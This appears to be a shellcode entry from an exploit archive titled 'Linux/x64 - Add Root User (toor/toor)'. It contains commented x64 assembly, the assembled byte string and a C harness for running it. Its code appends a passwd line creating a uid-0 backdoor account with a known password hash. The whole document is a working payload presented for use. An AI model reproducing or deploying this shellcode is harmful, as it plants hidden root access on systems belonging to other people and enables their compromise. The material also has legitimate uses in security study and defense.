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Linux/x64 - Add Root User (toor/toor) Shellcode (99 bytes)
; Title: add root user (toor:toor) ; Date: 20180811 ; Author: epi <[email protected]> ; https://epi052.gitlab.io/notes-to-self/ ; Tested on: linux/x86_64 (SMP CentOS-7 3.10.0-862.2.3.el7.x86_64 GNU/Linux) ; ; Shellcode Length: 99 bytes ; Action: Adds a user into /etc/passwd with the following information ; username: toor ; password: toor ; uid: 0 ; gid: 0 ; home: /root ; shell: /bin/sh ; ; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh global _start section .text _start: ; #define __NR_open 2 ; int open(const char *pathname, int flags); ; rax -> 2 ; rdi -> /etc/passwd ; rsi -> 0x401 ; ; >>> hex(os.O_WRONLY ^ os.O_APPEND) ; 0x401 xor ebx, ebx mul ebx ; rax|rdx -> 0x0 push rax mov ebx, 0x647773ff ; swd shr ebx, 0x08 push rbx mov rbx, 0x7361702f6374652f ; /etc/pas push rbx mov rdi, rsp ; rdi -> /etc/passwd xchg esi, edx ; swap registers to zero out rsi mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND add al, 0x2 ; rax -> 2 (open) syscall ; open xchg rdi, rax ; save returned fd jmp short get_entry_address ; start jmp-call-pop write_entry: ; #define __NR_write 1 ; ssize_t write(int fd, const void *buf, size_t count); ; rax -> 1 ; rdi -> results of open syscall ; rsi -> user's entry ; rdx -> len of user's entry pop rsi ; end jmp-call-pop, rsi -> user's entry push 0x1 pop rax ; rax -> 1 push 38 ; length + 1 for newline pop rdx ; rdx -> length of user's entry syscall ; write ; #define __NR_exit 60 ; void _exit(int status); ; rax -> 60 ; rdi -> don't care push 60 pop rax syscall ; OS will handle closing fd at exit get_entry_address: call write_entry user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa ; if the user_entry above is modified, change the _count_ argument in the write call to match the new length ; openssl passwd -crypt ; Password: toor ; Verifying - Password: toor ; sXuCKi7k3Xh/s ; Skeleton for testing ; ; gcc -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton ; ; #include <stdio.h> ; #include <string.h> ; ; unsigned char shellcode[] = \ ; "\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"; ; ; int main() { ; printf("Shellcode length: %zu\n", strlen(shellcode)); ; int (*ret)() = (int(*)())shellcode; ; ret(); ; } # 0day.today [2024-07-02] #